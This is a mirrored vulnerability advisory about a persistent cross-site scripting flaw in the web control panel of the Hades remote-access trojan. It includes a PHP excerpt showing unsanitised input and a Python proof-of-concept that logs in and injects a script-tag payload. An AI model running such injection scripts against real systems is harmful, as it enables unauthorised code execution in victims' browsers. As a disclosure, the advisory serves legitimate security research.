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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022030053

Below is a copy:

Hades RAT - Web Panel / Remote Persistent XSS
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24_C.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Hades RAT - Web Panel
Vulnerability: Remote Persistent XSS
Family: Hades
Type: WebUI
MD5: c4cc1317aea42f7dd4a1b786c5278a24
MD5: d1d082cbb2a394c8974e734e2ad9f226 (index.php)
Vuln ID: MVID-2022-0514
Disclosure: 03/13/2022
Description: The Hades Rat web-panel listens on Port 80, it takes three HTTP Post parameters to write bot commands. Commands are written to three files: commande1.txt, commande2.txt and commande3.txt. The index.php file does not follow secure coding practices e.g. no sanitizing of input. Third-party attackers who can authenticate to the Hades server, can make HTTP Post requests writing arbitrary JS code into the commande1.txt file. The XSS payload will execute client side code in the security context of the currently logged on user anytime the WebUI is accessed. This can result in data modification, theft or GEO location disclosure of the user accessing the Hades Rat WebUI.

index.php snippet.

if(isset($_SESSION['valide']['m']) AND $_SESSION['valide']['m'] == 1)
{
$commande1_fichier = fopen("commandes/commande1.txt", "r+");
$commande2_fichier = fopen("commandes/commande2.txt", "r+");
$commande3_fichier = fopen("commandes/commande3.txt", "r+");

$commande1_string = fgets($commande1_fichier);
$commande2_string = fgets($commande2_fichier);
$commande3_string = fgets($commande3_fichier);

if(isset($_POST['commande1'], $_POST['commande2'], $_POST['commande3']))
{
$commande1 = $_POST['commande1'];
$commande2 = $_POST['commande2'];
$commande3 = $_POST['commande3'];

fseek($commande1_fichier, 0); fseek($commande2_fichier, 0); fseek($commande3_fichier, 0);

$commande1_whipe = fopen("commandes/commande1.txt", "w+");
$commande2_whipe = fopen("commandes/commande2.txt", "w+");
$commande3_whipe = fopen("commandes/commande3.txt", "w+"); 


Exploit/PoC:
import urllib2,urllib,time,re
from cookielib import CookieJar

HADES_RAT_IP="x.x.x.x"
HADES_PASSWD="megapass"

c = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(c))
payload = { "mdp" : HADES_PASSWD }
xss = '"/><script>alert(666)</script>"'
encoded = urllib.urlencode(payload)
res = opener.open("http://"+HADES_RAT_IP+"/WebPanel/index.php", encoded)
content = res.read()

time.sleep(1)

payload = { 'commande1' : xss, 'commande2' : "", 'commande3' : "" }
encoded = urllib.urlencode(payload)
res = opener.open("http://"+HADES_RAT_IP+"/WebPanel/index.php", encoded)
content = res.read()

hades = re.findall(r"<title.*?>(.+?)</title>", content)
tmp=""
for i in hades:
    tmp += i.decode("utf-8")

if tmp:
    print(tmp)
    print("XSS Exploit successful!")


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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